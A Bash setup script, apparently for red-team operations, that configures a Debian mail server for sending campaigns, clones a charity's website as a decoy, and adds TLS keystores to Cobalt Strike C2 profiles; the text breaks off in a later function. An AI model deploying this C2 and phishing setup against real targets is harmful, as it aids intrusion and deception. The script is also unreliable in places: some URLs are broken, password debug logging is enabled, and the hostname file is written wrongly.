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serversetup.sh
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serversetup.sh
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#!/bin/bash
apikeyValue="<APIKEY>"
usernameValue="<USERNAME>"
updateIP="<EXT IPaddr>"
if [[ $EUID -ne 0 ]]; then
echo "Please run this script as root" 1>&2
exit 1
fi
### Functions ###
function debian_initialize() {
echo "Updating and Installing Dependicies"
echo "deb http:https://ftp.debian.org/debian stretch-backports main" >> /etc/apt/sources.list
apt-get -qq update > /dev/null 2>&1
echo "...keep waiting..."
apt-get -qq -y upgrade > /dev/null 2>&1
echo -n "almost there..."
apt-get install -qq -y nmap apache2 curl tcpdump > /dev/null 2>&1
apt-get install -qq -y procmail dnsutils screen zip ufw > /dev/null 2>&1
echo -n "don't be impatient..."
apt-get remove -qq -y exim4 exim4-base exim4-config exim4-daemon-light > /dev/null 2>&1
rm -r /var/log/exim4/ > /dev/null 2>&1
update-rc.d nfs-common disable > /dev/null 2>&1
update-rc.d rpcbind disable > /dev/null 2>&1
echo "IPv6 Disabled"
cat <<-EOF >> /etc/sysctl.conf
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1
net.ipv6.conf.eth0.disable_ipv6 = 1
net.ipv6.conf.eth1.disable_ipv6 = 1
net.ipv6.conf.ppp0.disable_ipv6 = 1
net.ipv6.conf.tun0.disable_ipv6 = 1
EOF
sysctl -p > /dev/null 2>&1
echo "Changing Hostname"
read -p "Enter your hostname (NOT FQDN): " -r primary_hostname
read -p "Enter your hostname[.]FQDN (without brackets): " -r primary_domain
read -p "Enter your External IP Address (or range): " -r extIP
IFS="." read -ra values <<< "$primary_domain"
dName=${values[1]}
toplevel=${values[2]}
extip1=$(ip a |grep -E -iv '\slo|forever|eth0:1' | grep "inet" |cut -d" " -f6 |cut -d"/" -f1)
cat <<-EOF > /etc/hosts
127.0.1.1 $primary_hostname $primary_domain
127.0.0.1 localhost $primary_domain
EOF
cat <<-EOF > /etc/hostname
$primary_hostname
EOF
read -p "Are you using the NameCheap API for DNS? (y/N)" answer
answer=${answer:-n}
case ${answer:0:1} in
y|Y )
curl "https://api.namecheap.com/xml.response?ApiUser=${usernameValue}&ApiKey=${apikeyValue}&UserName=${usernameValue}&Command=namecheap.domains.dns.setHosts&ClientIp=${updateIP}&SLD=${dName}&TLD=${toplevel}&HostName1=@&RecordType1=A&Address1=${extip1}&TTL1=300"
;;
esac
ufw allow from $extIP to any > /dev/null 2>&1
ufw allow 80/tcp > /dev/null 2>&1
ufw allow 443/tcp > /dev/null 2>&1
update-rc.d ufw enable > /dev/null 2>&1
printf 'y\n' | ufw enable > /dev/null 2>&1
echo "The System will now reboot!"
reboot
}
function reset_firewall() {
apt-get install iptables-persistent -q -y > /dev/null 2>&1
iptables -F
echo "Current iptables rules flushed"
cat <<-ENDOFRULES > /etc/iptables/rules.v4
*filter
# Allow all loopback (lo) traffic and reject anything to localhost that does not originate from lo.
-A INPUT -i lo -j ACCEPT
-A INPUT ! -i lo -s 127.0.0.0/8 -j REJECT
-A OUTPUT -o lo -j ACCEPT
# Allow ping and ICMP error returns.
-A INPUT -p icmp -m state --state NEW --icmp-type 8 -j ACCEPT
-A INPUT -p icmp -m state --state ESTABLISHED,RELATED -j ACCEPT
-A OUTPUT -p icmp -j ACCEPT
# Allow SSH.
# -A INPUT -i eth0 -p tcp -m state --state NEW,ESTABLISHED --dport 22 -j ACCEPT
# -A OUTPUT -o eth0 -p tcp -m state --state NEW,ESTABLISHED --sport 22 -j ACCEPT
# Allow DNS resolution and limited HTTP/S on eth0.
# Necessary for updating the server and keeping time.
-A INPUT -p udp -m state --state NEW,ESTABLISHED --sport 53 -j ACCEPT
-A OUTPUT -p udp -m state --state NEW,ESTABLISHED --dport 53 -j ACCEPT
-A INPUT -p tcp -m state --state ESTABLISHED --sport 80 -j ACCEPT
-A INPUT -p tcp -m state --state ESTABLISHED --sport 443 -j ACCEPT
-A OUTPUT -p tcp -m state --state NEW,ESTABLISHED --dport 80 -j ACCEPT
-A OUTPUT -p tcp -m state --state NEW,ESTABLISHED --dport 443 -j ACCEPT
# Allow Mail Server Traffic outbound
-A OUTPUT -p tcp -m state --state NEW,ESTABLISHED --dport 143 -j ACCEPT
-A OUTPUT -p tcp -m state --state NEW,ESTABLISHED --dport 587 -j ACCEPT
-A OUTPUT -p tcp -m state --state NEW,ESTABLISHED --dport 993 -j ACCEPT
-A OUTPUT -p tcp -m state --state NEW,ESTABLISHED --dport 25 -j ACCEPT
# Allow Mail Server Traffic inbound
-A INPUT -p tcp -m state --state NEW,ESTABLISHED --sport 143 -j ACCEPT
-A INPUT -p tcp -m state --state NEW,ESTABLISHED --sport 587 -j ACCEPT
-A INPUT -p tcp -m state --state NEW,ESTABLISHED --sport 993 -j ACCEPT
-A INPUT -p tcp -m state --state NEW,ESTABLISHED --sport 25 -j ACCEPT
COMMIT
ENDOFRULES
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT DROP
cat <<-ENDOFRULES > /etc/iptables/rules.v6
*filter
-A INPUT -j DROP
-A FORWARD -j DROP
-A OUTPUT -j DROP
COMMIT
ENDOFRULES
echo "Loading new firewall rules"
iptables-restore /etc/iptables/rules.v4
ip6tables-restore /etc/iptables/rules.v6
iptables -D ufw-before-input 4 2>&1
iptables -D ufw-before-input 3 2>&1
}
function add_firewall_rule() {
echo $'\nBefore continuing, make sure you have... \n\ttarget/host file with all your allowed hosts/ranges\n\tport file with all your allowed ports\n'
read -p "Enter your server IP address: " -r ipaddr
tgtsfile="/root/hosts.txt"
prtsfile="/root/ports.txt"
read -e -i "$tgtsfile" -p "Enter ALLOWED host file [full path]: " -r targetsfile
read -e -i "$prtsfile" -p "Enter ALLOWED port file [full path]: " -r portsfile
echo $'\n'
targetsfile="${targetsfile:-$tgtsfile}"
portsfile="${portsfile:-$prtsfile}"
printf 'y\n' | ufw enable > /dev/null 2>&1
for host in $(cat $targetsfile)
do for portno in $(cat $portsfile)
do ufw allow proto tcp from $host to $ipaddr port $portno > /dev/null 2>&1
done
done
ufw status numbered
}
function install_ssl_Cert() {
if [ -d "/opt/letsencrypt/" ]
then
echo $'\n';echo "[ + ] LetsEncrypt already installed. ";echo $'\n'
printf 'y\n' | ufw enable > /dev/null 2>&1
ufw allow 80/tcp > /dev/null 2>&1
ufw allow 443/tcp > /dev/null 2>&1
else
echo $'\nPlease be patient as we download any necessary files...'
service apache2 stop
apt-get update > /dev/null 2>&1
apt-get install -y python-certbot-apache -t stretch-backports > /dev/null 2>&1
git clone https://github.com/certbot/certbot.git /opt/letsencrypt > /dev/null 2>&1
fi
cd /opt/letsencrypt
letsencryptdomains=()
end="false"
i=0
read -p "Would you like to setup a wildcard SSL cert? (y/N)" answer
answer=${answer:-n}
case ${answer:0:1} in
y|Y )
cd /opt/letsencrypt
echo $'\n[!]\tThis script creates a wildcard certificate for all subdomains to your domain'
echo $'\n[!]\tJust enter your core domain name (e.g. github.com)'
echo $'\n'
read -p "Enter your server's domain: " -r domain
command="./certbot-auto certonly --manual --register-unsafely-without-email --agree-tos --preferred-challenges dns -d '${domain},*.${domain}'"
eval $command
printf 'y\n' | ufw enable > /dev/null 2>&1
;;
* )
echo $'\nRemember to make records for both \twww.FQDN\tand\tFQDN\n'
while [ "$end" != "true" ]
do
read -p "Enter your server's domain or done to exit: " -r domain
if [ "$domain" != "done" ]
then
letsencryptdomains[$i]=$domain
else
end="true"
fi
((i++))
done
command="./certbot-auto certonly --standalone "
for i in "${letsencryptdomains[@]}";
do
command="$command -d $i"
done
command="$command -n --register-unsafely-without-email --agree-tos"
eval $command
printf 'y\n' | ufw enable > /dev/null 2>&1
;;
esac
}
function install_postfix_dovecot() {
printf 'y\n' | ufw enable > /dev/null 2>&1
ufw allow 587/tcp > /dev/null 2>&1
ufw allow 993/tcp > /dev/null 2>&1
ufw allow 25/tcp > /dev/null 2>&1
password=$(openssl rand -hex 10 | base64)
adduser mailarchive --quiet --disabled-password --shell /usr/sbin/nologin --gecos "" > /dev/null 2>&1
echo "mailarchive:${password}" | chpasswd > /dev/null 2>&1
password2=$(openssl rand -hex 10 | base64)
adduser mailcheck --quiet --disabled-password --shell /usr/sbin/nologin --gecos "" > /dev/null 2>&1
echo "mailcheck:${password2}" | chpasswd > /dev/null 2>&1
echo $'\nInstalling Dependicies\n'
apt-get install -qq -y dovecot-common dovecot-imapd dovecot-lmtpd
apt-get install -qq -y postfix postgrey postfix-policyd-spf-python
apt-get install -qq -y opendkim opendkim-tools
apt-get install -qq -y opendmarc
apt-get install -qq -y mailutils
echo $'\n[ ] We use the "mailarchive" account to archive sent emails.\n'
echo $'###################################################################' #'
echo "# [ + ] 'mailarchive' password is: ${password} #"
echo $'###################################################################\n'
echo $'\n[ ] We use the "mailcheck" account to verify any email problems.\n'
echo $'###################################################################' #'
echo "# [ + ] 'mailcheck' password is: ${password2} #"
echo $'###################################################################\n'
read -p "Enter your mail server's domain (everything after the '@' sign): " -r primary_domain
echo $'\n'
read -p "Enter IP's to allow Relay (if none just hit enter): " -r relay_ip
echo $'\n[ ] Configuring Postfix'
cat <<-EOF > /etc/postfix/main.cf
smtpd_banner = \$myhostname ESMTP \$mail_name (Debian/GNU)
biff = no
append_dot_mydomain = no
readme_directory = no
smtpd_tls_cert_file=/etc/letsencrypt/live/${primary_domain}/fullchain.pem
smtpd_tls_key_file=/etc/letsencrypt/live/${primary_domain}/privkey.pem
smtpd_tls_security_level = may
smtp_tls_security_level = may
smtpd_tls_protocols = !SSLv2, !SSLv3
smtpd_tls_session_cache_database = btree:\${data_directory}/smtpd_scache
smtp_tls_session_cache_database = btree:\${data_directory}/smtp_scache
smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination
myhostname = ${primary_domain}
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
myorigin = ${primary_domain}
mydestination = ${primary_domain}, localhost.com, , localhost
relayhost =
mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 ${relay_ip}
mailbox_command = procmail -a "\$EXTENSION"
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
inet_protocols = ipv4
milter_default_action = accept
milter_protocol = 6
smtpd_milters = inet:12301,inet:localhost:54321
non_smtpd_milters = inet:12301,inet:localhost:54321
disable_vrfy_command = yes
smtp_tls_note_starttls_offer = yes
always_bcc = mailarchive@${primary_domain}
smtpd_discard_ehlo_keyword_address_maps = cidr:/etc/postfix/esmtp_access
notify_classes = bounce, delay, policy, protocol, resource, software
bounce_notice_recipient = mailcheck
delay_notice_recipient = mailcheck
error_notice_recipient = mailcheck
EOF
cat <<-EOF >> /etc/postfix/esmtp_access
# Allow DSN requests from local subnet only
192.168.0.0/16 silent-discard
172.16.0.0/16 silent-discard
0.0.0.0/0 silent-discard, dsn
::/0 silent-discard, dsn
EOF
cat <<-EOF >> /etc/postfix/master.cf
submission inet n - - - - smtpd
-o syslog_name=postfix/submission
-o smtpd_tls_wrappermode=no
-o smtpd_tls_security_level=encrypt
-o smtpd_sasl_auth_enable=yes
-o smtpd_recipient_restrictions=permit_mynetworks,permit_sasl_authenticated,reject_unauth_destination
-o smtpd_sender_restrictions=reject_unknown_sender_domain
-o milter_macro_daemon_name=ORIGINATING
-o smtpd_sasl_type=dovecot
-o smtpd_sasl_path=private/auth
EOF
echo "Configuring Opendkim"
mkdir -p "/etc/opendkim/keys/${primary_domain}"
cp /etc/opendkim.conf /etc/opendkim.conf.orig
cat <<-EOF > /etc/opendkim.conf
domain *
AutoRestart Yes
AutoRestartRate 10/1h
Umask 0002
Syslog Yes
SyslogSuccess Yes
LogWhy Yes
Canonicalization relaxed/simple
ExternalIgnoreList refile:/etc/opendkim/TrustedHosts
InternalHosts refile:/etc/opendkim/TrustedHosts
KeyFile /etc/opendkim/keys/${primary_domain}/mail.private
Selector mail
Mode sv
PidFile /var/run/opendkim/opendkim.pid
SignatureAlgorithm rsa-sha256
UserID opendkim:opendkim
Socket inet:12301@localhost
EOF
cat <<-EOF > /etc/opendkim/TrustedHosts
127.0.0.1
localhost
${primary_domain}
${relay_ip}
EOF
cd "/etc/opendkim/keys/${primary_domain}" || exit
opendkim-genkey -b 1024 -s mail -d "${primary_domain}"
echo 'SOCKET="inet:12301"' >> /etc/default/opendkim
chown -R opendkim:opendkim /etc/opendkim
echo "Configuring opendmarc"
cat <<-EOF > /etc/opendmarc.conf
AuthservID ${primary_domain}
PidFile /var/run/opendmarc/opendmarc.pid
RejectFailures false
Syslog true
TrustedAuthservIDs ${primary_domain}
Socket inet:54321@localhost
UMask 0002
UserID opendmarc:opendmarc
IgnoreHosts /etc/opendmarc/ignore.hosts
HistoryFile /var/run/opendmarc/opendmarc.dat
EOF
mkdir "/etc/opendmarc/"
echo "localhost" > /etc/opendmarc/ignore.hosts
chown -R opendmarc:opendmarc /etc/opendmarc
echo 'SOCKET="inet:54321"' >> /etc/default/opendmarc
echo "Configuring Dovecot"
cat <<-EOF > /etc/dovecot/dovecot.conf
log_path = /var/log/dovecot.log
auth_verbose=yes
auth_debug=yes
auth_debug_passwords=yes
mail_debug=yes
verbose_ssl=yes
disable_plaintext_auth = no
mail_privileged_group = mail
mail_location = mbox:~/mail:INBOX=/var/mail/%u
userdb {
driver = passwd
}
passdb {
args = %s
driver = pam
}
protocols = " imap"
protocol imap {
mail_plugins = " autocreate"
}
plugin {
autocreate = Trash
autocreate2 = Sent
autosubscribe = Trash
autosubscribe2 = Sent
}
service imap-login {
inet_listener imap {
port = 0
}
inet_listener imaps {
port = 993
}
}
service auth {
unix_listener /var/spool/postfix/private/auth {
group = postfix
mode = 0660
user = postfix
}
}
ssl=required
ssl_cert = </etc/letsencrypt/live/${primary_domain}/fullchain.pem
ssl_key = </etc/letsencrypt/live/${primary_domain}/privkey.pem
EOF
cat <<-EOF > /etc/pam.d/imap
#%PAM-1.0
auth required pam_unix.so nullok
account required pam_unix.so
EOF
cat <<-EOF > /etc/logrotate.d/dovecot
# dovecot SIGUSR1: Re-opens the log files.
/var/log/dovecot*.log {
missingok
notifempty
delaycompress
sharedscripts
postrotate
/bin/kill -USR1 `cat /var/run/dovecot/master.pid 2>/dev/null` 2> /dev/null || true
endscript
}
EOF
# read -p "What user would you like to assign to recieve email for root: " -r user_name
# echo "${user_name}: root" >> /etc/aliases
# echo "root email assigned to ${user_name}"
echo "Restarting Services"
service postfix restart
service opendkim restart
service opendmarc restart
service dovecot restart
echo "Checking Service Status"
service postfix status
service opendkim status
service opendmarc status
service dovecot status
printf 'y\n' | ufw enable > /dev/null 2>&1
}
function always_https() {
mkdir -p /var/www/html/donate > /dev/null 2>&1
mkdir -p /var/www/html/archive > /dev/null 2>&1
cd /var/www/html/
wget -l 1 -O index.html https://blog.charitywater.org/ > /dev/null 2>&1
cd /var/www/html/donate
wget -l 1 -O index.html https://blog.charitywater.org/donate > /dev/null 2>&1
cd /var/www/html/archive
wget -l 1 -O index.html https://blog.charitywater.org/archive > /dev/null 2>&1
read -p 'What is your URL (www.example.com)? ' -r webaddr
a2enmod rewrite
service apache2 stop > /dev/null
a2enmod ssl > /dev/null
a2enmod headers > /dev/null
a2enmod http2 > /dev/null
cd /etc/apache2/sites-enabled/
a2dissite 000-default > /dev/null 2>&1
a2dissite default-ssl > /dev/null 2>&1
a2dissite 000-default.conf > /dev/null 2>&1
a2dissite default-ssl.conf > /dev/null 2>&1
if [ ! -f /etc/apache2/sites-available/000-default.conf-bkup ];
then echo "[ - ] backing-up 000-default.conf";
cp /etc/apache2/sites-available/000-default.conf /etc/apache2/sites-available/000-default.conf-bkup;
else echo "[ / ] 000-default.conf already backed up at some point";
fi
if [ ! -f /etc/apache2/sites-available/default-ssl.conf-bkup ];
then printf "[ - ] backing-up default-ssl.conf";
cp /etc/apache2/sites-available/default-ssl.conf /etc/apache2/sites-available/default-ssl.conf-bkup;
else echo "[ / ] default-ssl.conf already backed up at some point"
fi
cat <<-EOF > /etc/apache2/sites-available/000-default.conf
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
<Directory "/var/www/html">
AllowOverride All
</Directory>
ErrorLog \${APACHE_LOG_DIR}/error.log
CustomLog \${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
EOF
echo "[ + ] Writing SSL config file"
cat <<-EOF > /etc/apache2/sites-available/default-ssl.conf
<VirtualHost _default_:443>
<Directory "/var/www/html">
AllowOverride All
</Directory>
Protocols h2 http/1.1
Header always set X-Frame-Options "SAMEORIGIN"
Header always set Access-Control-Allow-Origin "*"
Header always set X-Xss-Protection "1; mode=block"
Header always set X-Content-Type-Options "nosniff"
Header always set Feature-Policy "speaker *"
RequestHeader set X-HTTPS 1
Header set Referrer-Policy "no-referrer-when-downgrade"
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
ErrorLog \${APACHE_LOG_DIR}/error.log
CustomLog \${APACHE_LOG_DIR}/access.log combined
SSLEngine on
SSLProtocol +TLSv1.1 +TLSv1.2 -SSLv2 -SSLv3
SSLCipherSuite EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH
SSLCertificateFile /etc/letsencrypt/live/${webaddr}/cert.pem
SSLCertificateKeyFile /etc/letsencrypt/live/${webaddr}/privkey.pem
SSLCertificateChainFile /etc/letsencrypt/live/${webaddr}/chain.pem
<FilesMatch "\.(cgi|shtml|phtml|php)$">
SSLOptions +StdEnvVars
</FilesMatch>
<Directory /usr/lib/cgi-bin>
SSLOptions +StdEnvVars
</Directory>
</VirtualHost>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
EOF
echo "[ + ] Creating HTACCESS file with REWRITE rules"
cat <<-EOF > /var/www/html/.htaccess
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTPS} !=on
RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
</IfModule>
EOF
cd /var/www/ && chown -R www-data:www-data html/ > /dev/null 2>&1
cd /etc/apache2/sites-available/
echo "[ + ] Restarting Apache2"
service apache2 start > /dev/null
echo "[ + ] Enabling HTTP-S site"
a2ensite default-ssl.conf > /dev/null
echo "[ + ] Enabling HTTP site"
a2ensite 000-default.conf > /dev/null
echo "[ + ] Restarting Apache2"
service apache2 reload > /dev/null
sleep 3
if [ $(lsof -nPi | grep -i apache | grep -c ":443 (LISTEN)") -ge 1 ];
then echo '[+] Apache2 SSL is running!'
fi
printf 'y\n' | ufw enable > /dev/null 2>&1
}
function httpsc2doneright(){
echo -n "NOTE: Traffic profiles should only be added to https communications!"
echo ""
read -p "Enter your DNS (A) record for domain [ENTER]: " -r domain
echo ""
read -p "Enter your common password to be used [ENTER]: " -r password
echo ""
cslocation="/root/cobaltstrike"
read -e -i "$cslocation" -p "Enter the folder-path to cobaltstrike [ENTER]: " -r cobaltStrike
cobaltStrike="${cobaltStrike:-$cslocation}"
echo
domainPkcs="$domain.p12"
domainStore="$domain.store"
cobaltStrikeProfilePath="$cobaltStrike/httpsProfile"
cd /etc/letsencrypt/live/$domain
echo '[Starting] Building PKCS12 .p12 cert.'
openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out $domainPkcs -name $domain -passout pass:$password
echo '[Success] Built $domainPkcs PKCS12 cert.'
echo '[Starting] Building Java keystore via keytool.'
keytool -importkeystore -deststorepass $password -destkeypass $password -destkeystore $domainStore -srckeystore $domainPkcs -srcstoretype PKCS12 -srcstorepass $password -alias $domain
echo '[Success] Java keystore $domainStore built.'
mkdir $cobaltStrikeProfilePath
cp $domainStore $cobaltStrikeProfilePath
echo '[Success] Moved Java keystore to CS profile Folder.'
cd $cobaltStrikeProfilePath
echo '[Starting] Cloning into amazon.profile for testing.'
wget https://raw.githubusercontent.com/rsmudge/Malleable-C2-Profiles/master/normal/amazon.profile --no-check-certificate -O amazon.profile
wget https://raw.githubusercontent.com/rsmudge/Malleable-C2-Profiles/master/normal/ocsp.profile --no-check-certificate -O ocsp.profile
echo '[Success] ocsp.profile clonned.'
echo '[Starting] Adding java keystore / password to amazon.profile.'
echo " " >> amazon.profile
echo 'https-certificate {' >> amazon.profile
echo set keystore \"$domainStore\"\; >> amazon.profile
echo set password \"$password\"\; >> amazon.profile
echo '}' >> amazon.profile
echo '[Success] amazon.profile updated with HTTPs settings.'
echo '[Starting] Adding java keystore / password to oscp.profile.'
echo " " >> ocsp.profile
echo 'https-certificate {' >> ocsp.profile
echo set keystore \"$domainStore\"\; >> ocsp.profile
echo set password \"$password\"\; >> ocsp.profile
echo '}' >> ocsp.profile
echo '[Success] ocsp.profile updated with HTTPs settings.'
}
function get_dns_entries() {
extip=$(ip a |grep -E -iv '\slo|forever|eth0:1' | grep "inet" |cut -d" " -f6 |cut -d"/" -f1)
domain=$(ls /etc/opendkim/keys/ | head -1)
fields=$(echo "${domain}" | tr '.' '\n' | wc -l)
dkimrecord=$(cut -d '"' -f 2 "/etc/opendkim/keys/${domain}/mail.txt" | tr -d "[:space:]")
# dName=$( cat /etc/hosts | cut -d"." -f5 | uniq )
# toplevel=$( cat /etc/hosts | cut -d"." -f6 | uniq )
# fulldomain=$( cat /etc/hosts | cut -d"." -f5-7 | uniq )
dkim2=$( echo ${dkimrecord} | sed -r 's/\+/\%2B/g' | sed -r 's/\=/\%3D/g' | sed -r 's/\;/\%3B/g' | sed -r 's/\//\%2F/g' )
dmarcTemp0="v=DMARC1; p=reject"
dmarcTemp1=$( echo ${dmarcTemp0} | sed -r 's/\=/\%3D/g' | sed -r 's/\;/\%3B/g' | sed -r 's/\ /\%20/g' )
if [[ $fields -eq 2 ]]; then
fulldomain=$( cat /etc/hosts | cut -d"." -f5-6 | uniq )
dName=$( cat /etc/hosts | cut -d"." -f5 | uniq )
toplevel=$( cat /etc/hosts | cut -d"." -f6 | uniq )
cat <<-EOF > dnsentries.txt
DNS Entries for ${domain}:
====================================================================
Namecheap - Enter under Advanced DNS
Record Type: A
Host: @
Value: ${extip}
TTL: 5 min
Record Type: TXT
Host: @
Value: v=spf1 ip4:${extip} -all
TTL: 5 min
Record Type: TXT
Host: mail._domainkey
Value: ${dkimrecord}
TTL: 5 min
Record Type: TXT
Host: ._dmarc
Value: v=DMARC1; p=reject
TTL: 5 min
Change Mail Settings to Custom MX and Add New Record
Record Type: MX
Host: @
Value: ${domain}
Priority: 10
TTL: 5 min
EOF
read -p "Are you using the NameCheap API for DNS? (y/N)" answer
answer=${answer:-n}
case ${answer:0:1} in
y|Y )
curl -v "https://api.namecheap.com/xml.response?ApiUser=${usernameValue}&ApiKey=${apikeyValue}&UserName=${usernameValue}&Command=namecheap.domains.dns.setHosts&ClientIp=${updateIP}&SLD=${dName}&TLD=${toplevel}&HostName1=@&RecordType1=A&Address1=${extip}&TTL1=300&HostName2=www&RecordType2=A&Address2=${extip}&TTL2=300&HostName3=mail&RecordType3=A&Address3=${extip}&TTL3=300&HostName4=@&RecordType4=MX&Address4=${fulldomain}&TTL4=300&MXPref4=10&EmailType=MX&HostName5=@&RecordType5=TXT&Address5=v=spf1+ip4:${extip}%20-all&TTL5=300&HostName6=mail._domainkey&RecordType6=TXT&Address6=${dkim2}&TTL6=300&HostName7=._dmarc&RecordType7=TXT&Address7=${dmarcTemp1}&TTL7=300&HostName8=temp&RecordType8=A&Address8=${extip}&TTL8=60"
cat dnsentries.txt
;;
* )
cat dnsentries.txt
;;
esac
else
fulldomain=$( cat /etc/hosts | cut -d"." -f6-7 | uniq )
dName=$( cat /etc/hosts | cut -d"." -f6 | uniq )
toplevel=$( cat /etc/hosts | cut -d"." -f7 | uniq )
namehost=$( cat /etc/hostname | grep -E -iv "localhost|127.0.0.1" )
prefix=$( echo "${domain}" | rev | cut -d '.' -f 3- | rev )
cat <<-EOF > dnsentries.txt
DNS Entries for ${domain}:
====================================================================
Namecheap - Enter under Advanced DNS
Record Type: A
Host: ${prefix}
Value: ${extip}
TTL: 5 min
Record Type: A
Host: ${namehost}
Value: ${extip}
TTL: 5 min
Record Type: TXT
Host: ${prefix}
Value: v=spf1 ip4:${extip} -all
TTL: 5 min
Record Type: TXT
Host: mail._domainkey.${prefix}
Value: ${dkimrecord}
TTL: 5 min
Record Type: TXT
Host: ._dmarc.${prefix}
Value: v=DMARC1; p=reject
TTL: 5 min
Change Mail Settings to Custom MX and Add New Record
Record Type: MX
Host: ${prefix}
Value: ${domain}
Priority: 10
TTL: 5 min
EOF
read -p "Are you using the NameCheap API for DNS? (y/N)" answer
answer=${answer:-n}
case ${answer:0:1} in
y|Y )
curl -v "https://api.namecheap.com/xml.response?ApiUser=${usernameValue}&ApiKey=${apikeyValue}&UserName=${usernameValue}&Command=namecheap.domains.dns.setHosts&ClientIp=${updateIP}&SLD=${dName}&TLD=${toplevel}&HostName1=@&RecordType1=A&Address1=${extip}&TTL1=300&HostName2=${prefix}&RecordType2=A&Address2=${extip}&TTL2=300&HostName3=mail.${prefix}&RecordType3=A&Address3=${extip}&TTL3=300&HostName4=${prefix}&RecordType4=MX&Address4=${fulldomain}&TTL4=300&MXPref4=10&EmailType=MX&HostName5=${prefix}&RecordType5=TXT&Address5=v=spf1+ip4:${extip}%20-all&TTL5=300&HostName6=mail._domainkey.${prefix}&RecordType6=TXT&Address6=${dkim2}&TTL6=300&HostName7=._dmarc.${prefix}&RecordType7=TXT&Address7=${dmarcTemp1}&TTL7=300&HostName8=temp&RecordType8=A&Address8=${extip}&TTL8=60&HostName9=${namehost}&RecordType9=A&Address9=${extip}&TTL9=300"
cat dnsentries.txt
;;
* )
cat dnsentries.txt
;;
esac
fi
}
function roll_domain() {
read -p ' Your NEW Domain (everything after the @ sign): ' -r newDomain
mkdir -p /etc/opendkim/old-keys/
cp -a /etc/opendkim/keys/* /etc/opendkim/old-keys/
rm -rf /etc/opendkim/keys/*
mkdir -p "/etc/opendkim/keys/${newDomain}"
cd "/etc/opendkim/keys/${newDomain}" || exit
opendkim-genkey -b 1024 -s mail -d "${newDomain}"
cat <<-EOF > /etc/opendkim.conf
domain *
AutoRestart Yes
AutoRestartRate 10/1h
Umask 0002
Syslog Yes
SyslogSuccess Yes
LogWhy Yes
Canonicalization relaxed/simple
ExternalIgnoreList refile:/etc/opendkim/TrustedHosts
InternalHosts refile:/etc/opendkim/TrustedHosts
KeyFile /etc/opendkim/keys/${newDomain}/mail.private
Selector mail
Mode sv
PidFile /var/run/opendkim/opendkim.pid
SignatureAlgorithm rsa-sha256
UserID opendkim:opendkim
Socket inet:12301@localhost
EOF
cat <<-EOF > /etc/opendmarc.conf
AuthservID ${newDomain}
PidFile /var/run/opendmarc/opendmarc.pid
RejectFailures false
Syslog true
TrustedAuthservIDs ${newDomain}
Socket inet:54321@localhost
UMask 0002
UserID opendmarc:opendmarc
IgnoreHosts /etc/opendmarc/ignore.hosts
HistoryFile /var/run/opendmarc/opendmarc.dat
EOF
cat <<-EOF > /etc/hostname
127.0.0.1
localhost
${newDomain}
EOF
echo "${newDomain}" > /etc/mailname
cat <<-EOF > /etc/hosts
127.0.1.1 mail mail.${newDomain}
127.0.0.1 localhost mail.${newDomain}
EOF
cat <<-EOF > /etc/opendkim/TrustedHosts
127.0.1.1
localhost
${newDomain}
EOF
chown -R opendkim:opendkim /etc/opendkim/
cat <<-EOF > /etc/postfix/main.cf
smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)
biff = no
append_dot_mydomain = no
readme_directory = no
smtpd_tls_cert_file=/etc/letsencrypt/live/${newDomain}/fullchain.pem
smtpd_tls_key_file=/etc/letsencrypt/live/${newDomain}/privkey.pem
smtpd_tls_security_level = may
smtp_tls_security_level = may
smtpd_tls_protocols = !SSLv2, !SSLv3
smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache
smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination
myhostname = ${newDomain}
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
myorigin = ${newDomain}
mydestination = ${newDomain}, localhost.com, , localhost
relayhost =
mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128
mailbox_command = procmail -a "$EXTENSION"
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
inet_protocols = ipv4
milter_default_action = accept
milter_protocol = 6
smtpd_milters = inet:12301,inet:localhost:54321
non_smtpd_milters = inet:12301,inet:localhost:54321
disable_vrfy_command = yes
smtp_tls_note_starttls_offer = yes
always_bcc = mailarchive@${newDomain}
EOF
cat <<-EOF > /etc/dovecot/dovecot.conf
log_path = /var/log/dovecot.log
auth_verbose=yes
auth_debug=yes
auth_debug_passwords=yes
mail_debug=yes
verbose_ssl=yes
disable_plaintext_auth = no
mail_privileged_group = mail
mail_location = mbox:~/mail:INBOX=/var/mail/%u
userdb {
driver = passwd
}
passdb {
args = %s
driver = pam
}
protocols = " imap"
protocol imap {
mail_plugins = " autocreate"
}
plugin {
autocreate = Trash
autocreate2 = Sent
autosubscribe = Trash
autosubscribe2 = Sent
}
service imap-login {
inet_listener imap {
port = 0
}
inet_listener imaps {
port = 993
}
}
service auth {
unix_listener /var/spool/postfix/private/auth {
group = postfix
mode = 0660
user = postfix
}
}
ssl=required
ssl_cert = </etc/letsencrypt/live/${newDomain}/fullchain.pem
ssl_key = </etc/letsencrypt/live/${newDomain}/privkey.pem
EOF
echo "Restarting Services"
service postfix restart
service opendkim restart
service opendmarc restart
service dovecot restart
echo "Checking Service Status"
service postfix status
service opendkim status
service opendmarc status
service dovecot status
printf 'y\n' | ufw enable > /dev/null 2>&1
}
function sender_account() {
echo $'\n'
